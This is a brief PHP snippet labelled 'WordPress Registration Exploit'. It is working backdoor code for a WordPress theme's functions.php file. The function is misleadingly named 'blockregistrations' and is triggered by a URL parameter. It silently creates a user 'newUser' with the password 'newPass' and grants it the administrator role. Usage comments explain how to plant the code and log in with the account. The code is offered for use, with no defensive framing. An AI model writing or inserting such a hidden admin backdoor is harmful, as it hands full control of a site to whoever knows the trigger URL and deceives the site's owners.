Allow a new user to be remotely created

WordPress Registration Exploit

<?php
add_action('wp_head', 'blockregistrations');
 
function blockregistrations() {
    If ($_GET['preventregister'] == 'newuser') {
        require('wp-includes/registration.php');
        If (!username_exists('username')) {
            $user_id = wp_create_user('newUser', 'newPass');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
    }
}
//Usage:
//- Place this code into the active theme’s Functions.php
//- Run the following url: http://example.com/?preventregister=newuser
//- Login with credentials newUser and newPass.
?>